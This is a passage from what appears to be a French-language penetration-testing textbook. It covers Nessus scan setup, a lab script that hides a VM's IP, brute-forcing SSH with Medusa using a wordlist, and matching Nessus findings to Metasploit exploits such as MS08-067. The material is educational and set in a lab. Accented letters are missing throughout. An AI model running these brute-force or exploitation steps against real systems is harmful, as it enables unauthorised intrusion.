premier lancement du programme et, par dfaut, sont automatiquement mis jour.

Aprs que le serveur a t install, nous y accdons en ouvrant un navigateur sur lURL https://127.0.0.1:8834 (en supposant que laccs Nessus se fait depuis lordinateur sur lequel le serveur a t install). Noubliez pas https dans lURL car Nessus se sert dune connexion scurise lors des communications avec le serveur. Si vous recevez un message signalant que le certificat du site nest pas approuv, vous pouvez lignorer en ajoutant une exception et en poursuivant. Nessus va prendre quelques minutes pour initialiser et traiter les plugins qui ont t tlchargs. Au terme de la phase dinitialisation, nous arrivons sur un cran douverture de session. Il suffit de saisir le nom dutilisateur et le mot de passe dfinis prcdemment afin darriver lcran principal de Nessus. La navigation dans Nessus se fait en utilisant le menu plac en partie suprieure de la page. Chaque bouton reprsente un composant diffrent de loutil : Results, Scans, Templates, Policies, Users et Configuration. Avant dutiliser Nessus, il faut crer une politique personnalise ou slectionner lune de celles prdfinies. Pour crer votre propre politique, activez longlet Policies. Pour configurer une politique de scan, vous devez fournir un nom. Si vous souhaitez dfinir plusieurs politiques, saisissez galement une description. Prenez le temps dexaminer la Figure 3.7, qui montre comment activer les vrifications prudentes ( safe checks). Dans linterface HTML5 slectionne par dfaut, cette configuration se fait dans Configuration > Advanced.

Figure 3.7 Activer loption pour des scans "prudents".

Dans la plupart des cas, les vrifications prudentes doivent tre actives (ce qui est le cas par dfaut). La raison en est simple. Certains plugins et contrles sont considrs comme dangereux car ils vrifient lexistence dune vulnrabilit en tentant un exploit rel sur le systme. Sachez quen dsactivant loption Safe Checks vous risquez de provoquer un dysfonctionnement du rseau et du systme, voire darrter ce dernier.

Passons prsent aux politiques de scan, qui permettent de personnaliser les types de politiques utilisables depuis linterface de Nessus. Les options de personnalisation sont nombreuses. Dans le cadre de cet ouvrage, nous adopterons les valeurs par dfaut. Prenez le temps de cliquer sur les modles, de slectionner lun de ceux proposs par dfaut ou de crer le vtre. Examinez les diffrentes options en cliquant sur chacune delles. Les onglets General Settings, Credentials, Plugins et Preferences permettent daccder aux autres pages doptions de la politique. Une fois que la politique de scan a t configure, vous pouvez lenregistrer en cliquant sur le bouton Update. La configuration de la politique est effectue une seule fois. Vous pourrez ensuite lutiliser pour lancer un scan de vulnrabilits sur la cible. Pour configurer un scan, cliquez sur le bouton Scans situ dans le menu suprieur, puis sur New Scan. Dans la fentre qui saffiche, configurez et personnalisez votre scan. Vous pouvez saisir une adresse individuelle pour scanner une seule cible ou une liste dadresses IP pour scanner plusieurs htes. La Figure 3.8 illustre la page de cration dun nouveau scan.

Figure 3.8 Configurer un scan dans Nessus. Avant de lancer le scan, vous devez donner un nom, choisir une politique et saisir les adresses IP de la cible. Il est prfrable de donner un nom descriptif au scan. Vous pourrez ainsi retrouver et trier rapidement les rsultats du scan. Les adresses IP peuvent tre saisies de faon individuelle dans le champ Scan Targets ou, si elles ont t enregistres

dans un fichier texte, vous pouvez utiliser le bouton Browse pour charger celui-ci. Les dernires versions de Nessus offrent la possibilit dexcuter le scan immdiatement ou de crer un template et de planifier le dmarrage du scan une date ultrieure. Lorsque les options sont dfinies, cliquez sur le bouton Create Scan plac dans langle infrieur gauche. Nessus vous informe de la progression de lexcution du scan. Au terme du scan, lexamen des rsultats se fait en cliquant sur le lien Results de la barre de menu. Le rapport comprend une liste dtaille de toutes les vulnrabilits dcouvertes par Nessus. Nous serons plus particulirement intresss par celles libelles "high" ou "critical". Prenez le temps dtudier en dtail le rapport et de rdiger des notes prcises sur le systme. Vous utiliserez ces rsultats lors de la phase suivante pour obtenir un accs au systme. Aprs avoir termin les scans de ports et les scans de vulnrabilits pour chaque cible, nous disposons dinformations suffisantes pour lancer des attaques sur les systmes.

Mettre en pratique cette phase


Pour exprimenter le scan de ports, la solution la plus simple consiste configurer deux ordinateurs ou utiliser des machines virtuelles. Vous devez essayer les options et les types de scan dcrits dans ce chapitre. Examinez attentivement la sortie de chaque scan. Vous devez les appliquer des systmes Linux et Windows. Nhsitez pas ajouter des services ou des programmes au systme cible afin dtre certain davoir des ports ouverts. Les services FTP, Web, Telnet et SSH font de bons candidats. Pour votre initiation au scan de ports, lune des meilleures faons de pratiquer consiste crer un sous-rseau et masquer une adresse IP. Lobjectif est ensuite de localiser la cible. Ds quil est atteint, ltape

suivante sera deffectuer un scan de ports intgral sur ce systme. Pour aider mettre en place ce scnario, nous vous proposons un script simple qui permet de "cacher" un systme dans un sous-rseau donn. Le code ci-aprs est conu pour sexcuter uniquement sur un systme Linux. Modifiez les trois premiers octets de ladresse IP afin quelle corresponde votre rseau. Vous pouvez galement changer le numro donn linterface eth. Le script gnre un nombre alatoire entre 1 et 254 qui sert doctet final de ladresse IP. Une fois ladresse IP alatoire cre, le script lapplique la machine cible. En excutant ce script, vous allez vous familiariser avec les outils et les techniques prsents dans ce chapitre. Vous pouvez saisir le code laide dun diteur de texte et lenregistrer sous le nom IP_Gen.sh. #!/bin/bash echo Configuration de la machine cible, veuillez patienter... ifconfig eth0 down ifconfig eth0 192.168.56.$((( $RANDOM %254) + 1)) up # Retirez les commentaires (#) des lignes suivantes pour dmarrer # les services sur la victime. Vous devrez changer lemplacement et # le chemin en fonction de votre distribution Linux. #/etc/init.d/ssh start # Vous aurez peut-tre gnrer votre cl SSH avec sshdgenerate.

#/etc/init.d/apache2 start #/etc/init.d/atftpd start echo La machine cible est prsent configure. echo Ladresse IP se trouve dans le rseau 192.168.56.0/24. echo Vous pouvez fermer cette fentre et lancer votre attaque..." echo "Bonne chance ! Depuis un terminal, allez dans le rpertoire o vous avez cr le fichier. Vous devez le rendre excutable avant de pouvoir lexcuter : chmod 755 IP_Gen.sh Vous pouvez alors excuter la commande suivante : ./IP_Gen.sh Le script doit sexcuter et afficher un message indiquant que la victime a t configure. Il vous permettra de mettre en pratique la localisation et le scan dune machine cible.

Et ensuite
Lorsque vous matriserez les bases de Nmap et de Nessus, vous pourrez examiner les options avances de ces deux outils. Ce chapitre na fait quaborder leurs possibilits. Le site Insecure.org sera une ressource de choix pour apprendre utiliser Nmap. Consacrez du temps ltude et lutilisation de toutes ses diffrentes options. De mme, Nessus propose un grand nombre de fonctionnalits supplmentaires. Prenez le temps dtudier les diverses options de scan et de politique. Vous aurez tout

intrt vous plonger dans la mise en uvre de NSE. Examinez les catgories et les scripts existants. Si vous disposez de machines virtuelles cibles Metasploitable et Windows, excutez les diffrents scripts sur ces deux systmes et familiarisez-vous avec les rsultats. Votre objectif ultime doit tre dcrire vos propres scripts NSE et dtendre les possibilits de ce framework. OpenVAS ( Open Vulnerability Assessment System) est un autre outil trs intressant. De type open-source, il est trs bien document, activement dvelopp et gratuit. Il est comparable Nessus et permet deffectuer des scans de vulnrabilits. Ds que vous tes laise avec les fonctionnalits labores de ces outils, vous pouvez examiner les autres scanners disponibles. Slectionnez-en quelques-uns, installez-les et dcouvrez leurs caractristiques. Nous proposons dexplorer notamment les outils commerciaux NeXpose, Metasploit Pro, Core Impact et CANVAS ; ces produits ne sont pas exclusivement des scanners de vulnrabilits. Ils proposent tous dexcellents composants dvaluation des vulnrabilits, mais ils ne sont pas gratuits.

En rsum
Dans ce chapitre, nous nous sommes focaliss sur les scans. Nous avons commenc par une courte vue densemble de ping et des balayages ping, avant de nous intresser en dtail aux scans. Nous avons dcompos ce thme en deux parties : le scan de ports et le scan de vulnrabilits. Le scanner de ports Nmap a t prsent et diffrents types de scan ont t expliqus. Des exemples de scans rels, avec leurs rsultats, ont servi dillustration et ont permis de montrer comment interprter la sortie de Nmap. Le concept de scan de vulnrabilits a t prsent au travers de lutilisation de Nessus. Des exemples pratiques ont t donns et tudis tout au long du chapitre.

4 Exploitation

Introduction
En termes extrmement simples, lexploitation consiste obtenir un contrle sur un systme. Toutefois, il est important de comprendre que tous les exploits ne conduisent pas la compromission intgrale dun systme. Par exemple, lattaque de type oracles de padding peut dvoiler des informations et nous permet de tlcharger des fichiers, mais elle ne compromet pas totalement le systme. De faon plus prcise, un exploit est un moyen de profiter dun dfaut de scurit ou de contourner des contrles de scurit. Lopration peut prendre diffrentes formes mais, dans le cadre de cet ouvrage, lobjectif sera toujours le mme : disposer dun accs de niveau administrateur lordinateur. Par de nombreux aspects, lexploitation vise transformer la machine cible en une marionnette qui se pliera nos commandes et nos ordres. Pour que cela soit bien clair, lexploitation correspond au lancement dun exploit. Un exploit correspond la ralisation, la matrialisation ou lutilisation en tant quarme dune vulnrabilit. Les exploits sont des dfaillances ou des bogues dans un logiciel qui donnent au hacker ou lassaillant la possibilit de lancer une charge sur le systme cible. Une charge est une manire de transformer la machine cible en une marionnette et lobliger excuter nos volonts. Les charges peuvent modifier la fonctionnalit initiale du logiciel et nous permettent de raliser diffrentes oprations comme installer un nouveau logiciel, dsactiver des services en excution, ajouter de nouveaux utilisateurs, installer des portes drobes, etc. De toutes les phases que nous prsentons, lexploitation est probablement celle qui intresse le plus les aspirants hackers. Cet intrt vient probablement du fait quelle implique des activits gnralement associes au hacking et aux tests dintrusion. De nombreux ouvrages sont consacrs la mise en uvre de lexploitation. Malheureusement, les fausses informations concernant la phase 3 sont galement lgion. Les histoires imagines par Hollywood et les lgendes urbaines propos des exploits de hackers ont pollu lesprit de nombreux dbutants. Toutefois, lexploitation nen reste pas moins une activit excitante et stimulante.

Elle est ma prfre, mme si elle est moins sensationnelle quau cinma. Lorsquelle russit, elle est simplement couper le souffle. De toutes les phases tudies, lexploitation est probablement la plus vaste. La grande diversit dactivits, doutils et doptions pour mener bien cette tche conduit souvent la confusion et au chaos. Au dbut de lapprentissage des tests dintrusion et du hacking, le manque dordre et de structures risque de dclencher frustration et checs. Il nest pas rare quun novice entende parler dun nouvel outil ou assiste la prsentation dune technique labore pour accder un systme et quil se lance directement dans la phase 3 (exploitation). Pourtant, il est essentiel de ne pas oublier que les tests dintrusion ne se limitent pas lexploitation. En suivant la procdure propose dans cet ouvrage, ou nimporte quelle autre mthodologie de test dintrusion solide, vous pouvez viter nombre de ces problmes. Puisque cet ouvrage se focalise sur les bases, nous ne rpterons jamais assez limportance des phases 1 et 2 avant de passer lexploitation. Vous pourriez tre tent de passer outre la reconnaissance et les scans, pour sauter directement au Chapitre 4. Si cela reste possible pour le moment, il vous faudra un jour aller plus loin quune simple utilisation des scripts fournis et matriser les autres phases. Dans le cas contraire, votre capacit devenir un testeur dintrusion expriment sen trouvera extrmement rduite. La reconnaissance et les scans vous aideront mettre de lordre et donner une direction lexploitation. Voil pour le sermon. Mettons prsent les mains dans le cambouis en passant lexploitation. Nous lavons mentionn prcdemment, il sagit de lune des phases les plus ambitieuses que nous allons tudier. La raison en est simple : chaque systme est diffrent et chaque cible est unique. Les facteurs sont nombreux et les vecteurs dattaque varient donc dune cible lautre. Des systmes dexploitation diffrents, des services diffrents et des processus diffrents imposent des formes dattaques diffrentes. Les assaillants qualifis doivent comprendre les nuances de chaque systme quils tentent dexploiter. Avec lvolution de votre

pratique, vous devrez tendre vos connaissances des systmes et de leurs faiblesses. Un jour, vous serez en mesure de personnaliser lexploitation, ce qui revient dcouvrir et crire vos propres exploits. Vous pouvez vous servir des rsultats de la phase prcdente comme point de dpart vos tentatives dexploitation. La sortie des scans doit tre utilise pour faonner, focaliser et diriger vos attaques.

Medusa
Au cours de lanalyse des rsultats obtenus par la phase 2, faites particulirement attention aux adresses IP qui hbergent des services daccs distance. SSH, Telnet, FTP, PC Anywhere, VNC et RDP sont des candidats de choix car obtenir un accs ces services conduit souvent une compromission totale de la cible. Aprs quils ont dcouvert lun de ces services, les hackers se tournent gnralement vers un "craqueur de mots de passe en ligne". Dans le cadre de cet ouvrage, un tel outil correspond une attaque fonde sur une interaction avec un "service actif" comme SSH ou Telnet. Il tente de pntrer sur un systme de faon brutale en essayant une liste exhaustive de combinaisons de mots de passe et/ou de noms dutilisateurs. loppos, une technique de craquage des mots de passe hors ligne nexige pas un service en cours dexcution. Les mots de passe chiffrs sont attaqus de faon autonome. Nous y reviendrons plus loin. Lorsquun craqueur de mots de passe en ligne est employ, les chances de succs augmentent normment si lattaque est combine aux informations collectes lors de la phase 1. Plus prcisment, il faut tenir compte des noms dutilisateurs ou des mots de passe dcouverts. La technique mise en uvre par le craqueur consiste envoyer un nom dutilisateur et un mot de passe la cible. Si lun ou lautre est invalide, le logiciel dattaque reoit un message derreur et louverture de session choue. Le craqueur envoie alors la combinaison nom dutilisateur et mot de passe suivante. Ce mode opratoire se poursuit jusqu ce que le

programme russisse trouver une combinaison valide ou quil nen ait plus aucune essayer. Globalement, bien que les ordinateurs soient adapts aux tches rptitives comme celle-ci, le processus est relativement lent. Vous devez savoir que certains systmes daccs distance mettent en place une technique de rgulation qui limite le nombre dchecs douverture de session autoris. Dans ce cas, votre adresse IP ou le nom dutilisateur peut tre bloqu. Plusieurs outils peuvent servir au craquage de mots de passe en ligne. Medusa et Hydra sont les plus rpandus, tous deux tant de nature trs similaire. Dans cet ouvrage, nous nous intressons Medusa, mais nous vous encourageons fortement vous familiariser avec Hydra. Medusa est dcrit comme un systme parallle douverture de session par force brute qui tente daccder des services dauthentification distance. Il est capable dessayer une authentification auprs dun grand nombre de services distants, notamment AFP, FTP, HTTP, IMAP, MSSQL, MySQL, NetWare NCP, NNTP, PC Anywhere, POP3, REXEC, RLOGIN, SMTP-AUTH, SNMP, SSHv2, Telnet, VNC et Web Forms. Pour utiliser cet outil, nous avons besoin de plusieurs lments dinformation, dont ladresse IP cible, une liste de noms dutilisateurs avec lesquels tenter les connexions, un fichier de mots de passe ou un dictionnaire utiliser pour les ouvertures de session, et le nom du service. Lun des lments requis est un dictionnaire. Il sagit dun fichier qui comprend une liste de mots de passe potentiels. Ces listes sont souvent appeles dictionnaires car elles comprennent des milliers, voire des millions, de mots individuels. Pour crer des mots de passe, les utilisateurs choisissent souvent des mots de leur langue, parfois avec de petites variantes, comme un "1" la place dun "i" ou un "5" la place dun "s". Les listes de mots de passe regroupent autant de ces mots que possible. Certains hackers et testeurs dintrusion passent des annes constituer

des dictionnaires de mots de passe. Ils peuvent contenir des millions ou des milliards dentres, et leur taille atteint plusieurs gigaoctets. Un bon dictionnaire peut se rvler extrmement utile, mais sa gestion exige souvent beaucoup de temps et dattention. Un dictionnaire de qualit doit tre simple et dpourvu de doublons. Sur Internet, vous trouverez une multitude de listes de mots qui pourront servir de point de dpart la construction dun dictionnaire personnel. Il existe galement des outils pour gnrer ces dictionnaires. Par chance, les crateurs de Kali fournissent quelques listes de mots que nous pouvons employer. Elles se trouvent dans le rpertoire /usr/share/wordlists, notamment la liste de mots de passe populaire "RockYou". Loutil John the Ripper propose galement une courte liste disponible dans le rpertoire /usr/share/john/password.lst. Attention Les listes de mots de passe les plus longues ne sont pas toujours les meilleures. Les outils de craquage hors ligne comme John the Ripper sont capables de traiter des millions de mots de passe par seconde. Dans ce cas, les longues listes conviennent. En revanche, avec dautres techniques de craquage des mots de passe, comme celles mises en place par Medusa et Hydra, seuls un ou deux mots de passe pourront tre tests par seconde. Disposer dune seule liste de millions de mots de passe ne servira alors rien car vous naurez pas le temps de les essayer. Dans de tels cas, il est prfrable de constituer un petit dictionnaire, avec les mots de passe les plus rpandus. Le dictionnaire de mots de passe tant prt, nous devons dcider si nous allons essayer douvrir une session sous un seul nom dutilisateur ou si nous allons fournir une liste dutilisateurs potentiels. Si le travail de reconnaissance a permis de crer une liste de noms dutilisateurs, elle pourra servir de point de dpart. Dans le cas contraire, nous pouvons

nous fonder sur les rsultats de la collecte des adresses lectroniques avec The Harvester. Noubliez pas que la premire partie dune adresse de courrier lectronique peut souvent servir gnrer un nom dutilisateur valide. Par exemple, supposons que nous nayons pas t en mesure de trouver des noms dutilisateurs de domaine. En revanche, The Harvester a pu rcuprer ladresse lectronique alain.terieur@example.com. Medusa propose de crer une liste de noms dutilisateurs potentiels en partant dune adresse de messagerie. Dans ce cas, elle contiendrait alain.terieur, alainterieur, aterieur, terieura, ainsi que dautres combinaisons drives de cette adresse. Cette liste de cinq dix noms dutilisateurs peut tre passe Medusa, qui tentera par une approche exhaustive douvrir une session sur le service dauthentification distant. Puisque nous disposons prsent dune adresse IP cible sur laquelle un service dauthentification distant est actif (pour notre exemple, nous supposerons quil sagit de SSH), dun dictionnaire de mots de passe et au moins dun nom dutilisateur, nous sommes prts utiliser Medusa. Voici la commande excuter : medusa h ip_cible u nom_utilisateur P liste_mots_de_passe M service__attaquer Cette commande devra videmment tre adapte votre site. Le premier terme, medusa, correspond au nom du programme. Loption -h sert prciser ladresse IP de lhte cible. Loption -u permet de fournir un seul nom dutilisateur que Medusa utilisera pour les tentatives douverture de session. Si nous avons gnr une liste de noms dutilisateurs, nous pouvons passer le chemin de ce fichier loption -U. De manire comparable, loption -p permet dindiquer un seul mot de passe, tandis que loption -P attend le chemin dun fichier qui contient de multiples mots de passe. Enfin, loption -M donne le nom du service attaquer. Pour illustrer cette attaque, poursuivons lexemple mis en place

prcdemment. Supposons que nous ayons t embauchs pour mener un test dintrusion sur la socit Example.com. Au cours de notre collecte dinformations avec MetaGooFil, nous avons identifi le nom dutilisateur "aterieur" et ladresse IP 192.168.56.102. Aprs le scan des ports de la cible, nous avons dcouvert que le service SSH sexcute sur le port 22. Au dbut de la phase 3, nous allons tenter dentrer par force brute sur le serveur. Nous ouvrons un terminal sur notre machine dattaque et excutons la commande suivante : medusa h 192.168.56.102 u aterieur P /usr/share/john/password.lstM ssh La Figure 4.1 montre cette commande et les rsultats obtenus.

Figure 4.1 Utiliser Medusa pour entrer par force brute dans SSH.

Attention Si lexcution de Medusa, ou de tout outil dcrit dans cet ouvrage, sur votre version de Kali pose des difficults, essayez de rinstaller le programme comme nous lavons expliqu au Chapitre 1. Les commandes suivantes permettent de rinstaller Medusa : apt-get remove medusa apt-get update apt-get install medusa La premire ligne montre la commande saisie. La deuxime est une bannire dinformations affiche au lancement du programme. Les lignes suivantes prsentent des tentatives automatises douverture de session avec le nom dutilisateur "aterieur" et diffrents mots de passe, en commenant par "123456". Vous remarquerez qu la onzime tentative Medusa a russi accder au systme avec le nom dutilisateur "aterieur" et le mot de passe "L3sB@ses". Nous sommes alors capables de nous connecter distance avec ce nom dutilisateur en ouvrant un terminal et en lanant SSH sur la cible. Pour faciliter cet exemple, jai quelque peu modifi le fichier par dfaut /usr/share/john/password.lst : les commentaires (les lignes qui commencent par le symbole #) du dbut ont t supprims et jai ajout le mot de passe"L3sB@ses" la liste. En fonction du niveau dengagement et des objectifs identifis dans votre contrat, votre test dintrusion peut, ce stade, tre achev. Flicitations ! Vous venez de mener bien votre premier test dintrusion et de russir obtenir un accs un systme distant. Bien que tous les cas ne soient pas toujours aussi simples, vous seriez

surpris du nombre de fois o une tactique simple de cette sorte russit et permet de disposer dun accs et dun contrle total sur le systme distant.

Metasploit
Parmi tous les outils dcrits dans cet ouvrage, Metasploit reste mon prfr. Par de nombreux aspects, il reprsente la quintessence des outils du hacker. Il est puissant, souple, gratuit et terrifiant. Il est sans aucun doute loutil offensif le plus cool de tous ceux prsents dans ce livre et, dans certains cas, il permet mme de hacker la manire de Hugh Jackman dans Opration Espadon ! Si vous avez loccasion de rencontrer HD Moore ou tout membre de Metasploit, payez-leur une bire, serrezleur les mains et remerciez-les, car Metasploit est vritablement incroyable. En 2004, lors de la confrence Defcon 12, HD Moore et spoonm ont branl la communaut lorsquils ont ouvert la session intitule "Metasploit: Hacking Like in the Movies". Leur prsentation sest focalise sur les "frameworks dexploitation". Un framework dexploitation est une structure formelle qui permet de dvelopper et de lancer des exploits. Ils aident au dveloppement en apportant une organisation et des directives sur lassemblage des diffrentes pices et sur leurs interactions. Metasploit a dbut comme un jeu en rseau, mais son plein potentiel sest rvl lorsquil a t converti en outil dexploitation complet. Metasploit est constitu dun ensemble doutils qui fournissent des dizaines de fonctions diffrentes, mais il est probablement plus connu pour son framework dexploitation puissant et souple. Avant larrive de Metasploit, les chercheurs en scurit navaient essentiellement que deux possibilits. Premirement, ils pouvaient crire du code personnalis en assemblant diffrents exploits et charges.

Deuximement, ils pouvaient investir dans lun des deux frameworks dexploitation commerciaux disponibles, CORE Impact ou CANVAS dImunitySec. Ces deux frameworks taient des choix pertinents, qui faisaient trs bien leur travail, mais les cots de licence de ces produits les interdisaient de nombreux chercheurs. Metasploit tait diffrent car ctait la premire fois que les hackers et les testeurs dintrusion pouvaient disposer dun vritable framework dexploitation open-source. Autrement dit, pour la premire fois, tout le monde pouvait accder, collaborer, dvelopper et partager des exploits gratuitement. Cela signifiait galement que des exploits pouvaient tre dvelopps de manire quasi industrielle. Les hackers et les testeurs dintrusion pouvaient ainsi construire des exploits en fonction de leurs propres besoins. Metasploit permet de slectionner la cible et de choisir parmi diverses charges ( payload). Les charges sont interchangeables et ne sont pas lies un exploit particulier. Une charge correspond la fonctionnalit supplmentaire ou au changement de comportement que vous souhaitez obtenir sur la machine cible. Il sagit de la rponse la question : "Que vais-je faire prsent que je contrle la machine ?" Les charges de Metasploit les plus utilises sont lajout de nouveaux utilisateurs, louverture de portes drobes et linstallation de nouveaux logiciels sur la machine cible. Nous prsenterons plus loin la liste complte des charges de Metasploit. Avant dentrer dans les dtails de lutilisation de Metasploit, il est important de faire la diffrence entre cet outil et un scanner de vulnrabilits. Dans la plupart des cas, le scanner de vulnrabilits se contente de vrifier si le systme est vulnrable. Lopration se passe de manire trs passive, avec peu de risques de dommages non intentionnels ou de dysfonctionnements de la cible. Metasploit et les autres frameworks quivalents sont des outils dexploitation. Ils neffectuent aucun test. Ils servent aller au bout de lexploitation de la cible. Les scanners de vulnrabilits recherchent et signalent les faiblesses potentielles.

Metasploit tente rellement dexploiter les systmes scanns. Assurezvous de bien comprendre la diffrence. En 2009, Rapid 7 a rachet Metasploit. HD Moore a pass beaucoup de temps rassurer la communaut et sassurer que Metasploit resterait gratuit. Bien que plusieurs produits commerciaux aient depuis t proposs, notamment Metasploit Express et Metasploit Pro, HD Moore na pas menti et le projet Metasploit dorigine est toujours gratuit. En ralit, le rachat de Metasploit par Rapid 7 a donn un vritable coup de fouet au projet. La version open-source a clairement bnfici des outils commerciaux, avec des dveloppeurs et du personnel plein temps supplmentaires. Les nouveaux exploits et les nouvelles fonctionnalits sont ajouts un rythme ahurissant. Dans cet ouvrage, nous allons nous focaliser sur les bases, mais il vous faudra rester jour avec les derniers dveloppements. Metasploit est disponible en tlchargement gratuit ladresse http://www.metasploit.com ; il est dj install sur Kali. Il existe plusieurs manires dinteragir avec Metasploit, mais, dans cet ouvrage, nous allons utiliser le systme de menus en mode texte (non graphique) fourni par Msfconsole. Lorsque les bases sont acquises, Msfconsole se rvle rapide, convivial, intuitif et simple demploi. Pour accder Msfconsole, il suffit douvrir une fentre de terminal et dexcuter la commande suivante : msfconsole Vous pouvez galement y accder en passant par le menu Applications du bureau. Il faut Msfconsole de 10 30 secondes pour dmarrer. Ne vous inquitez pas si vous ne voyez rien apparatre pendant un certain temps. Lorsquil a fini par dmarrer, Metasploit affiche un message daccueil et linvite de commande msf>. Puisque diffrentes bannires dfilent de manire alatoire, il est normal que votre cran initial ne soit pas exactement celui de la Figure 4.2. Le point essentiel est dobtenir

linvite msf>.

Figure 4.2 Lcran initial de Metasploit. son premier dmarrage, Metasploit affiche le nombre dexploits, de charges, dencodeurs et de nops disponibles. Il peut galement indiquer le nombre de jours couls depuis la dernire mise jour. En raison de sa communaut active et de son financement officiel, Metasploit volue rapidement, et vous devez rester en phase avec son dveloppement. Pour

cela, il suffit dexcuter la commande suivante depuis un terminal : msfupdate Prenez lhabitude de la lancer souvent. Voyons prsent ce que cet outil a dimpressionnant. Lutilisation de Metasploit consiste identifier une cible, slectionner un exploit, choisir une charge, puis lancer lexploit lui-mme. Nous reviendrons en dtail sur chacune de ces tapes, mais, avant cela, examinons la terminologie de Metasploit. Nous lavons mentionn prcdemment, un exploit est un morceau de code prconstruit qui est envoy un systme distant. Ce code dclenche un comportement atypique qui permet dexcuter une charge. Une charge est galement un petit morceau de code. Elle est utilise pour effectuer une tche, comme installer un nouveau logiciel, crer de nouveaux utilisateurs ou ouvrir des portes drobes. Les vulnrabilits sont des dfauts qui permettent lassaillant dexploiter les systmes et dexcuter du code distance (charges) sur la cible. La charge correspond au logiciel ou la fonctionnalit supplmentaire que nous excutons sur le systme cible aprs que lexploit a pu sexcuter. Maintenant que nous savons comment lancer Msfconsole et que nous comprenons les termes employs, voyons comment utiliser Metasploit. Lorsquils rencontrent pour la premire fois cet outil, les hackers et les testeurs dintrusion font lerreur de croire quil manque dorganisation et de prvenance. Noubliez pas que Metasploit nest pas une hachette mais un scalpel. La plupart des dbutants sont submergs par le grand nombre dexploits et de charges ; en gnral, ils se perdent dans la recherche des exploits appropris. Ils perdent leur temps lancer aveuglment des exploits sur une cible en esprant que quelque chose se produise. Nous prsenterons ultrieurement un outil qui fonctionne de cette manire, mais, pour le moment, nous devons faire preuve de plus de mthode. Au lieu denvoyer dans tous les sens des exploits sur la cible, nous devons trouver une manire de faire correspondre les vulnrabilits identifies

sur le systme avec les exploits fournis par Metasploit. Ds lors que vous matriserez cette procdure simple, pntrer sur une cible vulnrable sera un jeu denfant. Pour mettre en rapport les vulnrabilits de la cible et les exploits de Metasploit, nous devons examiner les dcouvertes ralises au cours de la phase 2. Nous commenons par nous focaliser sur le rapport produit par Nessus ou sur les rsultats de la commande nmap --script vuln. Rappelons que Nessus est un scanner de vulnrabilits et quil nous fournit une liste des faiblesses connues ou des correctifs non appliqus. Au cours de lexamen de la sortie de Nessus, nous devons noter toutes les dcouvertes, mais en faisant plus particulirement attention aux vulnrabilits marques High ou Critical. En effet, nombre dentre elles, notamment celles qui correspondent aux correctifs Microsoft manquants, sont prises en charge directement par des exploits Metasploit. Info Les versions 4 et antrieures de Nessus utilisent un systme de classement High, Medium et Low pour dfinir la gravit des dcouvertes. partir de Nessus 5, Tenable ajoute le niveau Critical. En fonction du systme dexploitation de la machine dattaque et de la manire dont Nessus a t install, vous disposerez de la version 4 ou 5. Comme nous lavons expliqu au chapitre prcdent, pour installer ou passer la version 5, il suffit de se rendre sur le site de Nessus et de tlcharger la dernire version qui correspond votre systme dexploitation. Elle est fournie sous forme dun fichier .deb, dont linstallation se fait laide de la commande suivante : dpkg i fichier_deb__installer Si une version prcdente de Nessus est installe, elle sera mise jour et tous les paramtres dfinis seront conservs. Dans la suite, nous

utiliserons Nessus 5, mais dans le cadre de cet ouvrage nimporte quelle version fera laffaire. Supposons quau cours des phases prcdentes nous ayons dcouvert une nouvelle cible ladresse 192.168.56.103. Lexcution de Nmap nous indique quil sagit dune machine Windows XP sur laquelle le Service Pack 3 est install et le pare-feu, dsactiv. Nous excutons le script NSE vuln et Nessus sur la cible. La Figure 4.3 prsente le rapport de Nessus pour lIP 192.168.56.103. Notez les deux dcouvertes critiques. Si vous reproduisez cet exemple avec une machine virtuelle XP sans aucun Service Pack appliqu, Nessus identifiera probablement au moins une dizaine de vulnrabilits critiques. Cest pourquoi je vous conseille de dmarrer les exploits de base avec des versions anciennes non corriges de Windows !

Figure 4.3 Rapport de Nessus montrant les vulnrabilits importantes.

Pour acclrer la procdure, nous commenons par les vulnrabilits Critical ou High. Nessus nous permet de cliquer sur chaque dcouverte afin dobtenir les dtails du problme identifi. En examinant le premier point critique, nous dcouvrons quil est d un correctif non appliqu. Plus prcisment, le correctif MS08-067 de Microsoft na pas t install sur la machine cible. Le second problme critique provient galement dun correctif manquant, celui de rfrence MS09-001. Tous les dtails sur chaque dcouverte peuvent tre examins en cliquant sur la ligne correspondante. ce stade, nous savons que notre cible souffre de deux vulnrabilits lies des correctifs non appliqus. Elles sont marques Critical et les descriptions donnes par Nessus indiquent quelles permettent lexcution de code distance. En tant quassaillant, votre rythme cardiaque doit certainement semballer, car les chances que Metasploit puisse exploiter cette cible sont trs bonnes. Nous devons ensuite revenir Metasploit et rechercher les exploits qui concernent les correctifs MS08-067 ou MS09-001 non appliqus. partir de la console de Metasploit (mis jour), nous pouvons utiliser la commande search pour localiser les exploits associs nos dcouvertes Nessus ou Nmap. Pour cela, il suffit dexcuter cette commande en lui indiquant le numro du correctif : search ms08-067 Nous pouvons galement effectuer une recherche par date afin de trouver un exploit plus rcent. Par exemple, la commande search 2013 affichera tous les exploits qui datent de 2013. Aprs que la commande sest excute, prenez des notes dtailles sur les dcouvertes et recherchez dautres correctifs non installs. Metasploit examinera ses donnes et retournera les informations pertinentes quil trouvera. La Figure 4.4 illustre les rsultats dune recherche sur MS08-067 et MS09001.

Figure 4.4 Faire le lien entre Nessus et Metasploit laide dune recherche. Examinons le droulement de la procdure : Nous avons lanc Metasploit et excut la commande search en lui indiquant le correctif manquant dcouvert par Nessus. Metasploit a trouv un exploit correspondant et nous a donn plusieurs lments dinformation sur celui-ci. Il indique le nom de lexploit correspondant et son emplacement, exploit/windows/smb/ms08_067_netapi. Il donne galement son rang et une courte description. Faites attention au rang de lexploit. Cette information fournit des dtails sur la fiabilit de lexploit (le nombre de fois o il russit) ainsi que sur sa probabilit de provoquer une instabilit ou un dysfonctionnement du systme cible. Plus le rang dun exploit est lev, plus ses chances de russir sont fortes et moins le dysfonctionnement du systme cible est probable. Voici les sept niveaux utiliss :

1. 2. 3. 4. 5. 6. 7. Attention

Manual (manuel). Low (faible). Average (moyen). Normal (normal). Good (bon). Great (trs bon). Excellent (excellent).

